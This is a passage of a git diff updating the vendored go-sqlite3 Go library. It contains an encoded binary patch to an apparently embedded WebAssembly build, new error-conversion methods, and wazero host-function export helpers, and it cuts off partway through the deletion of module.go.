z?slqm6LVZ?%!+yU=vEM#oK>g@I9>0R@<7}X>ygz?evO)G5Kq@gu_TOy^q~hjoDO(D z5Mr>_L_^HUoz7tks3V0p9Ro6sumGmG&Up-{5H%4DA>L%X&pCwQ6yOP=#MUCC-|tK@ zP-nbH$>0YD)`exB@g8($adsAK2we>7KPLU#>t$saQOGIva0m`ir+PP;7=!p;-X)b* zfYMhFJC$j1u1Pjc!utsKC<&}^+)$4`>dYYRg&xCpL!5onk4X?ps)&l|^l|7Y9#xf) zr&5HCJ>m3H*dA>Wfyf3Yt3ddP%yeQ;YW2h2iF1Vvn$wBXxeB!@J4y{N|k4RFjEQsLtrNcgy4a^j2$5f~uhFFVz;Tms1B zf(@5foN75OCy3_At4?f|@s3I5IQAaKUc*p{@{Z%Ifl)^rofI|9Z`8;YQ%UXXPIrvr zh=|*7IESM;(mECKu@pr_NpCt+h|NmPzvWD$V8Dt{JS-MMZ#y$!V~dHfOautN;~Wt= zGQN;V$xzC7ojC@c2F5)@i-@SAZfC{<&jOhz!GbN+NJf_5TML@=TK!5mct=n-8JS84PmNryn`7ZAZG^h>)Co?1a&c zu_+YIC(hjeFAk!0pHh#KpQVhVl|?A^XHHizK5}u+N>? zhf6@eaJumrPHe`~K~p3JSYKgJ;47!{tRSThW9e(BUY5c-uJJW53}B1w8|RRL zIWbQ{;e6|)LzRq}pDVBvgD^^-ShOC4jNISfK`F?is6xhq?-NhHK;Q=_t=IUNDzp-| z=8p*gWCyr9tV zRSnH?h+}ARGiDP#rTt^v~xhUL` zp6TgImj{MIeVkVb%Ux~=uQ+MzDwi^OiKJ8_VRaE)S+8oUui@R=M04Qp5w@-{#6}go|4a z&6+5!G;Vh}MJQ104p(YC9LEW6^10oGkp|1s&w1~3rO+u8wJ4iN-R1JImgk1t?Q+J% zQ3Ln5lw~T}g~s|CN2gx91xZgF{1X0-@aAlaFEFKTK2AM#T-g;N^ z!V)9c_>c={QXnoO#7uqIcflNrAGY*mm?CSZh`ubI8H1F-Drl26^Ap*SR%1AUv82oRmdeM<5KzT>xVFwEgTz|v60)Yd6 z2%%e4d{#oZH@Q-XD(&48!h0eExFrVE`?6hhq7sSJX4x)!W`WuwYefKBFu+m0)r7-r z-zIR-C(Uq@vea)kw~h#ZAZjL?O9SOYS0>d=KqTpp%venOW5HLv_m30sJ`q&8pE&hX zfq&|`4LD~lM$YrkTtkT}qhKN<=EE$4rr99~mBl8&75BNQu^HuHi>ZB){Odu3<+@g0FR_YY?S~p#p=S4Eor2qLnY_Z!!%@_bPX02&d@|AbYj@ z7!5O1y#{rLO|I#+xd+z;@fFp9xvzB(GeOPyuXDqQrf5U4R-lSr@0J0GJUX!pvce5> zIe{Z%ooa7z%Lqx4l@>oGwKpnUSeWG0l1svy+z5F~keJel?&0X9mF{8YgtCB6x!EmW z8>N-1By)>9RbWrSfwHLCtpmw&g?Un0rRv5Y>14RgjnyYrg8d5A)Z5)yb7+Wa*d3~5 z#uM#oACQ-pTz9(Dct?=eo-X|6`_qp|A zNp3~KYZ|}bjaOZ&a)ysZIu3v8DMf0q0+{!(M z6T1<-QUm8h03>1$Cn~_gUsFpbXg;EwC=EZ%M31_a<5z7rvZeM|f`DJ_LXuJW`0tRJ z?h|h1w@@_1Ijb8qw-g)&KKVNu08X6n)b9!;YxL>gK}p7*NkFN=d=Tiw3D3G+^h7(j z&$;=G!Py}KJbwhXs9RT}ZcKwK@j`+@3?%FQ#UrxQ@^#{bmyXEJTz=WDT(R5{HOdyB zIN=qy^7o1q%pD?Z0E~fM{Hj}dl8;QL=Dzk{Goy9J!i}a%qmOv6<8^l`^%wcO=zzEd zZwq_ABgs@=9r+- z9LI$2>pr3i9C5Je2q25odpbY&EJU5QZ{AO!M#L)#HS@=BPBa0p62OUqb56Iom9rdY zuOG3H+M2+Z3n;w&kr-6WmhEm8P06u~A7}+5xK=ZN+=qJDVV+U;C#{b^!kh^%3NwWO z#gX90336Yc~S2wTx_?aUUG5;I!LvCJo z5>#wj9d@%x&a*Ng*onX`EIv#Xzqxs#M7XpE*N4x!zz(NJ1OxXc2nlPW)srYs*s!$W zaET`;Vb+U<4S}aL@;il#Ji5+MF2TTJkC#}Dtyqe|S>nlLj+@t#wc19U# z%d2DwiEg^ulfq@<^%RO5x<)=qX>IceQKBBa)+0oT`{_ClJTK@O;Zwg}S4?!z3Qr2n z^)ql%CbjDZ+59R@(*6cM7Z6VA8wJ~n{d|(>O|oVrh!mpft6M43WyNlmHK9Je<@faP z4$7?_7qfBwo>qN29e1|84^N9c;Mrrp95gnoTxY-)K(?hC;0!9}w z+Fc$`NkbTO303!Q*#Mz!IKWHup9U%f)Yo*c=NP7th?In10^@wOY!O~p<@iYfUE>)n zdz6%oQUD#EK@!R_AU>x`sFBWtznxvQuj?*F z$OMi#;Cb*3tw^w8YP_kdQQ}`fWZsg3B(%=kawHNT-jQsPlf%1G#`Mh4EprOBuu0Kj zoBBQZBu3%;X0<81aI>PL|)R!#`obVL*K+s}1(V@_)4?ROEr@$4e6ft^0{>U?2C+H@M zq>nvWIw_%CMcOAOdQz{7gik$eHE=akXUz*q;`b40AS#y zQWk{1^{AB{5ked>ufuuKuv4&_-?gP~qfFm<2Gs$NYY)9GXnb#~q|o02{)4$qH0}lX zM~_;=QIVL1Mabz-f^;byqzhGXvwB3Op~@79_K9{4fKvEqIcnZ}1Od$D^JncA{VWO0 z!dumFgMlMNW{>D+-M~_8obnqFdp&H$aaCr_Z={Cr!wiYq($aty6#G5d^f-_#$s^G{ za0KJXv;DJx!9j_*8+ho5$U#wzE+5tUMGOmJaBRb&(p**}Lo!>Dv(37py@h$B{m zQ*?~Oo}8nm`0*;c5&z9|>`_wB#~uv24e5PHrAwhU{eq20l!#noi;7ykJp6v2c8QmT z#nirq@o|g1Jcihn&JCOamr!i6mo~MU$fV{HZx^L;NyPs zD{Rg?h2$_cccaL1m*_+WW9~yR_uZ;Ka@0c*_L(UP>I*Du%UXd>=gxON~=wE zXI`!mb>+q|fJt_kTEG=%Z^l}$c^cBXcKo+pvJ8zi(0Z|!44;$gwu z;+Q`e6lFbPf(UYtiXs?C5qnGse|*WbE^DxN=>^l-VU}LXt`b&kLfR z(ufl%FA7#3VdlIf1no!*=VkBj%m-d2zA`|Y$zjAPuMWr|1|H38uZgM*Fq1Y4Nuk$l z#rEOr0+2A7-Vp32%LH3N^4kG#3QllwqD^lJX`*t3IYjd_bU8lN^0r`-*(Q3&YqrD4 z-wyik{tj3i3Uteo*kLi1woNukg_3}9$XMV#H6r;u6O11^g!6sToP-gz**n09A}vMh z5UTeU!5^*-fvB*pBEJYqBP!d3Bx!?cyOaPny9Fyg5Zz03@OBu!1J^_ot^Irqx}^RcQ>*iQjUUk#8-QrWO#(Cc4&N07eP<*1Wb zu$MwR9N#Fl%)QDJ9ZwVA3SQ}!VI{ItS|BuY$b*n5C>TcEcM=(<0fr>|8@~4{$GEBa zf_K%NZ=Jh0q9l2 zM6W0b&~72s>QgKNxMx7ebEheUy<#ReJ2ga}eWG~yja6Oui_(M(Lm(XxqO1KF0{XKM z1?epku!BNdsbZ_c0{n|?lJ#?MJa6fa?A?>If!O)3a@V^ z-jWoaTkynV^-@h()StG6E;|B7g zq@S)#VM|KsC(=eW)l+88T%N*~_W*cR^{le;X;z>%tK_4-y|V;nggT zD!C!iO5x^}DL0znjc|6V95)SYJ#G8eh}N$Z4WMGsd}!>OQ+VZ~7{#c?<)ybA1zcWH zed|ENwDgi?u1YamYGU~D`?$BIm@PG0PO!qbJ;gkQOVtO1>y80%768^w?Sjz*z8-gH z%7E1b&0An5R46uzpnvWfP$ecMlJ6c+B~GCE?jF(O{0!y@+4$~w|r5@yAJ|1%fb=7+DG&vZer-xX0C`~#V z9u@#3OTZ&39!y;0XBiDZf0S!5J|3ozsn8aUP=}ADsQ3WPGUL&?*qV4eh1TGNdV~S^ z1PdG`9BBh?V1b~NgkAO|_aK*;a7{hM>>;4p+Im`NC+>=xJ;U0GFtsW3tj;WksX%;A zmt(S2o)@`=aV_w=SWAxAcCRRN05@I~1su`rmjvsMZ1c;4zyNFY6~Xe-TC!JP6&;e` z$ZIL&HW+U*N;fJ9q*xeTuZxPCx${N}t!BrwHX@0AGew11aGybYkn(*?kRq(f;tkxl z1!D-pii(c~dPnr(6l~tYjNqeI$bAHN#k&$6Db=*KS%R1HW8Fd)2wgk6s_M89oGFbIiVvVxe4cZ%8x*1${@9+2oaSyhxW z3HQocYLjrEC8Rji){~UlI}`{eE~y1a8fK zp#XG-L}F_ynQ4h^yuL(oFmOpK&j>mX6~YONQpw`O6ypnE_Y#|1e&}_hF|at*WM^

    tbSrJ{DE=VR5AjOdN2WPUQg=-pO)r4-@5CABxD zl3B!H4(=7um8mAzHiU)*60GO?-Yi&2Y8?Adq`Phr5H;n@tSY-z76u%lUU;<=TP1iV zH7EHcgh6zhV9@X2V!!8h+0$~~pl02X0F`5Qg(t14J(axA%nTX5lrZe?6n!n(BY4Fl z|1LpCCNSvkR9bk9Cz%lKzDGzEwbzuBXVH5HNcPMaHZ1+T`?WgJ{!*EXhSeI;F;a*t z#0gRzsV4umd4Q5%cx@_gyeEc#r>L=XJ>xKkfU!nqo&4ZFxrdbbK3~%SH*Jw2DKa^^ouV~ybN3hV0J}eML73&@m z1qx%WnzqzqkET)#e8Ly}Sn3e@jFJ+5;Kx(bBv_hZPo%2XoyhFkkeZ^XkO}&vP9#o0 zm6{SUIdY#)O%;!l(le6x>0lm zz(*LZuM1_4gd^?NH-x4_O2RUIQ^*HVPuS{jiE$60*&2OYXQyh3$@U%5fxy(Z`nx)_ z*;en?<(TZRO?rsb)bsn5@vxuIz70FIMv|dbi~D(Mi*zBT%3!#I6un4iCD9X89UYvC z?d0P4&Mr<&a&dAO7pEq>I6cM1nW-+$#$23>yEvb4a5|QBaXjVXMB2s4jEhrQ7pHSB z&g5O3-POgp-CUfX=HN_hcNfR^aB*T!7bo{}aca7Y(|fx(vyY3j`?@$c!^Qdi9Gs2q z@8b9YE>0Zi;^aXtP95yx^h_6L4smgImWy+}vfYB@77LQ^aY;PZD@eRgki_wVB>M$P4G5AR z6eKewNcIFla!UlsFLg;GwoH)tiGn1)EJ*Szf~5XOkn~A{WR?q(U118AJ6W>)O2Lw` zuSym_MY6=Hk|j@*EVW9q^y!ji&X6p7rewLZB+H*ISSt24$>QfomN-|ki|I(D&S@k=C2Tq;@eGRacklq`L@WSJ`@%dVCzw??x3m4anr zS4kHCmSl;mB}-l-S?XHJ($`6rxn8pD4U*-)Em?l8VAlErV5EOE1B$y+2#-6~o7 zHpw!#OP0MuvfQ1LmVQjK%nu~XJ}z1Ahmz%=a9JW2ds4FaQ<5cqBw6xl$x_cq zmVQ>U%yW`upO-B6W6AO_2o{h1M6&pck|kb}Ecvozsh>)genqm(&m_yfDp~I5lI4FP zSR(dI$>P6~Eb*FT$#s&Yel1!0HLL@vlpkI8UHHmR>DcW{qUoD<#WaC0YJkg5_gZOBTOIvc$EL zC9jh#b-iTi8zjqoTe9q0$#OSJmcPkm$yn@W$>O(2mbg{2vdn{$Wgn6(_dUt-4-1xveP6QpBa$T^ zl`Q#~WT_uWmVR8a%nv2YJ|S7|Ny+k036_lgNV53Tk|myzEcvWtsplk1KQCG4$C71V zkSzBT$?`7>mWsV3S^QSW2%D<#W(RkG|UlI2d7EPt9{`PeGS;-^cNI771JnUbZ>k}Q3; zWSOr?mOV$Z+_{qFzwWYBEOwq`@$)51Tp(HULdjC!kSu+XWSNU4%U&W`?o!F}mkAb+ zeN(dd<&q_?kSw`cveX*M(pO5Bxk|F^wk%hk~c_}`nF{0 zwUT9Slq`FbWVxFq%ikhcGIpzE@!KRz+%8%24#`q?N|wG$vdniR%ib+n?jFhV_X?JZ zeOI#heUc^amn`{!WT^)wOFtx8=6jN5AC@fleaZ5V2$qgLDp~w7$r3-1Ecv)(sUJ#~ zenPU$laghhk}UTl$?{JNmWe$hS^Qba63rmb1}Y-q+aPJ6WNdgM;C=za2%a5&9Pk@}fiF}=0&}X5hfOpkFxRNQ58~et zA7j)+0`sa*2R5kSaHIO4D7O{y5n;4b17wm-43Ea!G^$=3_!wnE;qZ=-P#TyJPU3BM z-aIc5g6S3ET3TW(MM2BB1<3Z_bZC7B+~dC`sF{G!+&UG^vaoh&pxc%o*jF(h@@8;z zT*a3FX-QzMr7fxKgJc3E)--q|6scGUZm{tFp+EC&&OzX2cnPm_=<%wzC_eliK%;{G z+lG8gYd;uog@X@5Qe6`^=hmhnUKEQ9HO#mAG5V-gwvIVt5{$!1w)kXso+|avi7FGsu+7#7pv7( z9m1B6(allZN(c|W3-WXPnEP4NStJsqpMtC(VgYlTEU(H><~F=%)bqj@=0X6+Fcfd> zg8>cT<{COQ*vNs2{9Kg+ZK`fm_x=Du)5FHQe5?70*YypY5KZetQM^T0=vR1aK|WZ% zlVB@Wm?_fr#nDiJq|N7m zUQF-`z_$qSA*yjRK?aw5@iTg*sA=uFh3*|Ij#2%*l($>#GR=>n%5$v$CtO~|&)6V_ z&VE_Pi~&>w@i*M7INo@K18e*m#GZR+VD3E(ZqL0VQ6sQFE|xhVcnLhdJh%>5BX|R@ zW^lV|T%Eb7%N-WHQk8pCmAg}wn~HMFjf$nHDdu41=XrCNXCXC1D)sHM4mhN;o`T`k zu*ICraSUHdI7LAQq&bz|3SUkbBQ&ahhRfHeato^#Ay#2k{SgxOHF$h6=&Ijm!2m>z z;b30{vsavM(225o40u&93XO#@*o&CcFFRpJAPG#S$;#ru_}FC3%1P-1Zl zEzY_YXC3VU1#3@5mvd+_klnp*4@|G?!Rt;0xP#zsfCmX$;L;}mU~w-k9uO7}I66%Q z!)k;EUE7Ar+cuuI?dICHo1-V7V0{*DvR{E|)paMrh@&8@dmNxc-;Bd3%TP(GxB?$r zX&49N=Dl`RybrempUDu`D{!o0gDY?oZr=e-z7=>Xny;LNdz-ofUkFPB$6^I;RV%Ps zWxpg=;4ZGfZE6Lk7Xu6Q3aoI4y#l|-E*=UOA#x&NuFl0ZnJchoP1egUt+tHW7+ibm z*Psh6;2x(0P$OZ!8&U$Jpve*XnhfoO_^(hdeNGvqxoe*wYD@VsT$0vf@&Qa#R7))JzR9^3hFf^{3D7d;=<`# z(HrJU5Y$@(#HfC$)#K;rSujGol_5c8NOi$3gZE%0Q*$MJ@D<>iUjeKlsID}O^K~ie zwv4xg%UG%geet*~j$*XN><#V;DDoXj>zA@InB1ft&o4PoIzBZ1}@ zK*D?A9-R~zr|2TkyGX|?dJ-t(F0j=^st(+O3q54o2`}(4Bpe@WVt~%lp-|iuRs9r_ z;!es~%Rw;~^IDun&m*|r0QYpy*@$h|SAHY5OR9n~A^Kf;5V+cyjaS<+we8xu^2P03u2Ng4xT*d@4W&Q-loJM1G)!c8N1 z3a&M^VRK#`_tUEAe4~#0X%;mP$E6-W>ZRt-B&;35M%tueCD=$~8djpfQv3uPcaN;a z9>&Yo9Nd*i3y(eW~6*DwEl8L6@2oiZBMFaJdEXi4ffi z5kn{P1AyNXyaVtKK=ap8FwzVqA5lCTAdG>;-uLtBjSxZj)oSc`1IC(#Md3>o5E>`( zTFh2Uq3~&NPqrFn{bI7zIa;k>Oo{<#(VED~7pZ_X_M$~x$vvJHhgz8;qTDKmxOuXg z#u2KM&zNlq&!x0cNehJYmGli(JB+Jg=x$D|W(B`ZI9kDoQy?5t(|Rk_#^o^2+M3V^ zhtyPFMAZ;R@TSv!aY3x2o~jHk#Z|B(3-#tZY~QTp+&AAj7+9$>-#wISs#P79sNf7U zm+Hc5L%vkm)z5mT9e|smM+sLc$k}9`at>8gU5IN2URy9vH>i7^r<1i!*J5sz_JKS8&R+Ynx@D&s`SJUvyItPYkaqD*97zjcO z32z)n_!8kQ3JxGen0KfGU!e3>C4GR>2bA=9O0QSa*9g}tcmNCBtl&qK-l@udneb{Q zeUtDy1utaTn-rWw_-zGGWr6RgYJHSGsNibC8&rY!Sm0X<9z*H13f@6@rGlM=S1EV{ z;WY}*Wwq}rW#6Opb_I{5^d3T^imtDsUmNbDuHRlAQJJ11`7tuWd>IoJAFd0Rc0c=n3Lx8CSzXaHofQua$=jd#J zLkS81%#hJ919TER32;2Y+W=o72*NL`2*v`OPcRkW3WEQk%LslAa3?_peD@H+mH`GjViG3pQ4ft^qJG@zZCJ_yO1#aeZAH-$Q!Zi?l2$G;->5~f91O2kk z?@N%s0!^ntSaOSp+rX%EajTNE=w0YBTkPHO_NZqWZwRyQ$9l5`ejKwFd;5+fp;i2!(8G5?>q#oHobv&RpYf(65{F>SgOl0`2?1#UU78`oc1BBaCHl; zQjn`#;1o_!qcVgm_XrjC)8v{_V0HD8z_JFecO1RIiAcGS#_$tZX+$D{6%D6DPGy0U zjRvlF8Y6uf-lX^_0yh}tkTrB$Tb+oMFeL9Tt$#VnVSe+1-OUc8kq42!F>SF5WEHO3c)Q+hVfg17XbcDaCa0B z%?Ora>RPZh`b}KymvwMs^Wi9Z2X8zoZUo+KZr&L;_&Bn8FM!w8O>gBx8k;W}u5!0s zd8Jc%wB2g+)-Z|*-Ec(WyK)?+6uSUD#&Kj#47-fRwjaQaL<=*Axg`V3VB}dwJ;vBhU$-D<1i?LdLO-Gi=1{{#jljgKVe4l3&h75crZ0D%t)pheEbt;B>$C|AO8gZ z4WvKe306WoKjAU$Pk5@CN2^&6*6Ej>hc9I3c4Tw4=OCU`|1`Y`RP|BOx~D+9Q7kx# z{j58@8S63WPKpkKDlbeXtv?8t7FZFSQlmd4I2;0^;F>m|$QwmvjpL~U&*|5%S0~2E zIneVpi10d^Io|kCj9?mB{yF~$PDN2>@Zys(=OL8YYt6(h4yAjf*pfN@bJxML;*mmO zeWXxO9|(5Jpk`=)_}AKjkN@@QV&a2@>U1&bNkXPdYl4!VjSAMK&r|vsd~Cg;G;mX7 zokeN*G1y^^GARx}KpfS$mW_lI4qeCMt6yUAQ>i4P#XJ^T3)o_KDaCVj%`I5-D2>;$ z$f>%xT2ppb?VrQq1@<7k9d+xPRr*X5S3SF&wj>DgeCIqCx{C&klo;0SDD64=RI};o zM<6afr7WI+s;SqS&YNh{>?xjz*f0A;#Qj+DM5NB1HA)pr6i-CDFoV=ws(PqTL{wTl z5h=(u!#rg_Xfvug^=j*IBB~cBqI%A&MffpS8VxuR)pK64s(G?e&v~UWV$F!`NU?Jw zVyndyk%Ia}M8k_GBGm_dB6<#rLi(`rBB4HPD5wt`3hKj#g8GD^pgwmfs1F-TnLZII zsXiwus83G{>T{ARt4~Bqs*g+x>cf$O`t+orJ}0Sa`UIz>`UIz-KEbI1`XHsCKFp~C z`WU37`WU33KH?D?ItS6OSlaYU9Yk(t0&3xu)DMI;REbByrnz=;ya!uy(T9;DhJd55 z0<0hyH(IZ?(FDLnlq>+aN`WzYt&Oe#xQCJ#0Ujav0N@#d%eF9#pAqD?!g@q-{x*0f zLU87IY!(Q92f(BqJ!pGe2x=$bksAR|*^>Z}()2633axYLirxuO0BBl=i~X{Wj6`eD z_WQh1hrqF4Jny`Q8tUlrcK{weuoALz4nNk>k?0}ARooUgRK+ZSu4s(rV})p9ykT%R zXN>M6JpgpMqF*QdA}BuvHAde?ItY3x=@_0@o(Hn#nZcHww>6A&A!vCT_b&s8-UV!cSm} zKrh~Au-vuw2R3+2C|9eBb>LQn%d`EA>yNH7U3= zxHX2`44v1TRoQ7QFq#F7z&~(dimo``{y--3{s>?l+6kp|{RzhH$^-eD0`r zU?Ul&t=v&M4bJ5PZ$;_Rkp2wLYOaDc;mdJPjM818Vw7G1)uW^e{~5Golz6AiCBs;-BmIE03A0e<^df9ni?%!S(cQ)@7`E(r7cF&Bg(P_L2QwTu|* z*k!8~(|T-~SGz3@8^g61G4O;w!l|cT<`!%0I=F++SM3`s#2pKD0&D!1Hz-Y<&U`I* z72yUHX|cNDuStD|(=Hgc{{AwRkXDGkv!CRw>3U??Qidf;Idwf!4sXM9kNf#u96nCwUy<{8k7##f@8CqOR^o;qZ_L0dP&xGrNhLWU%zGNPXq(E2o_SVMeez`#Y$c^-HyxAzys6;kOMbb<6oR(4EyK ztp#yZ_xQio$I7Vjd8Nivqo$+@?W58Vt1A<_!nOHX=O?a9c&Xeet_Y3e8!Q4wDtkh4E-`s2Kyw49Gd)<%=i#*{){I`=3o--hgK zv}|8XH>31YsnqtVt&x56Z#~Fa*Xsef6|rmUHUu-8%UV}H4n``a&3ho(8-o0*nJvlIk%?YPFDjxX6t3I%54eU(&f&s8^5dlS1#CDclf*7{#s!n%j+?g zQrhj08Z{Y8ysM<1ktjc6rR7G}vTcdq-15Dt%c;gz7-!lmWwiJbVaSuP{H$F4 z@=0x^n+Q(v&DY>f=A{YWjzfQ3+Fbih&PP|`@AI$;=aYBEZk~f#YIJ#h!#3~lBS&6m z1b;k~=80kJdLkPdRVFLVJUYUB`DmE3s&%E;?^(JbRI(7WAH&aRrz9<)8cCV|i<&=azYrDbu3ndz=n_QsXUc3o-tvi|7&6eVV;q;V? zEWKs1S3&N<+)p96TaY_^?iS=YZ0`MXZTlmiWlHy%E`IR5{!1VQ%}i(AQ;mX2b5myqn(gk7LVwvUI;Tyw|-uz4EP;>a%@l z#~FK9{_(p%-iCYp?m4%7qKD6=&ktywTsLT4i`WSw=PO=%rei7p$kBIR>mnul@Xe23 z+ALQf+RWX#?P1zXUfQ$a_V7U`L}4ACQI+f0$b2WC)6ov~6wI^Y(ppOWZLn8zB-~6^ zuB1O!q(9g$x%a%|NIiKBQoSqiOSOjbQjhnC)hjgkd!YJe$Y+DpQu@Sj^U5(_zwK$I zyuQ+MsSmK5WrtbP8nIu<kb_SsO>>ys9rR+W`{^wMYSrQiRQ%bfz-Cojz<<@O3r z>9V>%$+tf^#?ohMoK&Cv7VDMB&T7m|rC%T@pG~#Sa{Zu|(v{G*Y2y}@?j}ZRfpLyi zSNv8a{>A*l!T=j%=lHVUHFLQwx8FDA{>S(Z9e?b)e7E)4@Af^L``?GV|4HSx-p@+C zjoI^Q-M97F@2darwb%jC*4~c)Q)o7t6Y8TC!TQLUE$bW2rb>JbcYAzYevg_Oe4{ux z1^1gO_iDL#@3F!9U2Ar$*+LTjiTm!!ktV&vLA1Y*P zm73rS%u`Hl0XxJ$vlXs@9yZN}s;JZ^)l=ZX8rRHPubFlH+I;=6j%x6FCbE?okIo-+ zWX(}EN1)Y4-i@QhCc20q3eZ3>3ZR;xna(5_&AJ>9yY?8|QMFrY)HvZA+FKdkB7T?6 z$FHFTEc3vq?eyS|=<2vSjA)6=@ZEgBmqOA@Vd*9O`9*h7@k>Q?W6iK$sr9;{&hBEp zzl(nR{|^SJ9dbd}!IpGZh2P1Q(#e=RZYbgxLR5GT>(^?(|7vW{mUW~wBWT+x17X;P zV56M>{u$0zU9<65H#T?rA{M2wpJe)Sej*a_+W_tyuJg{}4NPBephj$WHrn%*6IV@B zcjDTUvAM?NbSs^<_N3pym>`pV3gN=87oA_-U{A>nI>ODl4Q^O6KceSqKr1+sjl;%8 zlRp6A7M;CDId1W~baX{A^ZC6oOsYbX_e7{M%nId+7r$rxX(lSHNjwxu}=* zk{gD_451fm%MA~`fMN^a&UkD9ToQ7-8}@d$%I)sPmke*O)so@1p%xBzT~(_tT~L0) zss*-eZ|x!fG-jWiF;$$3b{};p)G`$6T;J4tebeCjCgS>c7JAyXgBOL~%e!^zZHCKnme`GrPMvx}A~q#9b)bL2)b8#R7EkW$?>!d(se3B^!){+!ccFiB z|KQZ_uJ)VOvN4iAM)<0y?ujISz@eQg#RwxI=HN_Ffe5iDYV%Pzf)=aMRn%Q&v0it`&#i2 zkMTdR%h|8*baW1OCUkF|(yjdG&r{$Rb{bMRTPsk1Wy~^8{*=4SHaNH#8c)+jnKaNf z<+C43-2;pI{{x}48PV;ZC?lU@GWLBF15=^1Yv~YXTW3cXB8j}Ol_E|bCzP~Uj~{0b z|GtA|{Nz&(C4Ub$!&#ol@9gev8yxEC=o;+Qlf|10e2KzXr#i>qasRC5ISkQY|4`3@ za+yKhz-WrZphWIqA_UYQ!?M($Li!B%(a9Iy@mf68J=j@H^6&(xw{Pn2Iv9&SP>Ky-ASAV&?#xXf~`8qg~hqqJLft#d?O`vmSE z7;2XRnoH00rf9*AB4CuEG{WjR8h5D^SzhOhzwXmnqF`nfM zOZ$3z3IMj{Gi-s=14q(d7=W)Fiql`m&;pk)>F*lEk;b{-?w~dYwI7J4+IZ2*jJEcH zIZCZDKzFMVnOW%6&S&=ut^I9X12}&46qdFv7&JNtaPqTVu7KLj0%5o@#2j^1NF$Ds z4h0UsK=d7J#uGVIXr-Stq%f0$j3AlN+VeBBhg{Z~dV*C=(p~hfgaUWxw@_D^; z08n(l{@%re?Yy)p)ZJ?ohiYao-QLwP)Yc8iG|>;2cJ=ny{#@MEV=y?7!FfG?sCTdn z!GTWo6bDSfqB@0J_wMcOX2xghhjjJK>g`|L)=isSf(cRR$NU&Lj&gMUkRqf8g_XOc zw5zjgL0eCU5~*nCngO2_BVM0r?0y~4Wwag9)iJmT1r{#C+#7&i1bBCE&q8%!Ej#zx zn90M&`ut$@DBHVEEMO2&v!i#Yy}MuxENH_Oy_?lGYaeV9*#{f8BQ6j+tsNX&YAduZ zEDWmNC`T5%VRRH6-5u<-EpL~k%|kjmO40!u9@&GJsYnmSMRt>yaq4i-j+>#zc07(} zo2jLk?>AG69_-Dtrg&V~oF2IkAvV1~&YpMERk)AUHeH9aW8HKW?1?(}ZMq5^Z#Gwj zvvb;XE4&ZyHeHYB5!wYs@=gpoqWBQyKbLScR9CBzY!2Fr>jF~f9XU>>A*Vw=K z4!-}K8Pn&@m_v~b9SuiJpR@1LGv>@@@;wYGmzh_+quz|e=1-r=S{fAV%$YrZ*1oNW z%-(l~ZO8mWsl{gd&OTz6;?OXE*6ca^&X_Y}UutoQvwGNj0xXn^GrXjEN!g1|%0Wp7 zB^(q_v2YSTF3xl9ZJba6igQkjIy#h0&!J+ePE|_9GbB1HopzHpN;)Xvpm>t)CQwTR zB3O3;4{Py`)k(dp0n^Y85yP{b;lE%O7y6Wgk`78ZD4sC-<7_qVY#6x1b@se^!|UjZ z+bHRvgoEO7qd!JnF+=T+jRoEKj@)?cst2%586VF~!3PlIcU&|$*f)UBBNk$JKGZ%1 zb49I-p2cx|EY}gsr`lqLR63i?#M(M??fF!DES~L1bSy|@vxQ7PyPz$b*~u_YHLG-2 z(M}-DCWqP<7R=y2u%{Mx78C{s3LTT%mzfpHpu_(|h8)*0*w&9B!af2IHL+K#oYb&* zXs`|2kjV?Xd)wQ(2PQ>(dV8>M>+9?4Sva|~Z?G5J)JZk%L*2(sUR+q*+rMm5nA@Mp f82?EP{e{j#f1zhVVY2#sWKy+SF-~af9xD7Vk8gTb diff --git a/vendor/github.com/ncruces/go-sqlite3/error.go b/vendor/github.com/ncruces/go-sqlite3/error.go index 957a7440b7..c91dccd12f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/error.go +++ b/vendor/github.com/ncruces/go-sqlite3/error.go @@ -68,6 +68,19 @@ func (e *Error) Is(err error) bool { return false } +// As converts this error to an [ErrorCode] or [ExtendedErrorCode]. +func (e *Error) As(err any) bool { + switch c := err.(type) { + case *ErrorCode: + *c = e.Code() + return true + case *ExtendedErrorCode: + *c = e.ExtendedCode() + return true + } + return false +} + // Temporary returns true for [BUSY] errors. func (e *Error) Temporary() bool { return e.Code() == BUSY @@ -104,6 +117,15 @@ func (e ExtendedErrorCode) Is(err error) bool { return ok && c == ErrorCode(e) } +// As converts this error to an [ErrorCode]. +func (e ExtendedErrorCode) As(err any) bool { + c, ok := err.(*ErrorCode) + if ok { + *c = ErrorCode(e) + } + return ok +} + // Temporary returns true for [BUSY] errors. func (e ExtendedErrorCode) Temporary() bool { return ErrorCode(e) == BUSY diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go index 65efe3b39e..9ff775774c 100644 --- a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go @@ -10,6 +10,32 @@ import ( type i32 interface{ ~int32 | ~uint32 } type i64 interface{ ~int64 | ~uint64 } +type funcVI[T0 i32] func(context.Context, api.Module, T0) + +func (fn funcVI[T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0])) +} + +func ExportFuncVI[T0 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVI[T0](fn), + []api.ValueType{api.ValueTypeI32}, nil). + Export(name) +} + +type funcVIII[T0, T1, T2 i32] func(context.Context, api.Module, T0, T1, T2) + +func (fn funcVIII[T0, T1, T2]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0]), T1(stack[1]), T2(stack[2])) +} + +func ExportFuncVIII[T0, T1, T2 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0, T1, T2)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVIII[T0, T1, T2](fn), + []api.ValueType{api.ValueTypeI32, api.ValueTypeI32, api.ValueTypeI32}, nil). + Export(name) +} + type funcII[TR, T0 i32] func(context.Context, api.Module, T0) TR func (fn funcII[TR, T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { diff --git a/vendor/github.com/ncruces/go-sqlite3/module.go b/vendor/github.com/ncruces/go-sqlite3/module.go deleted file mode 100644 index e279601629..0000000000 --- a/vendor/github.com/ncruces/go-sqlite3/module.go +++ /dev/null @@ -1,352 +0,0 @@ -// Package sqlite3 wraps the C SQLite API. -package sqlite3 - -import ( - "context" - "io" - "math" - "os" - "sync" - - "github.com/ncruces/go-sqlite3/internal/util" - 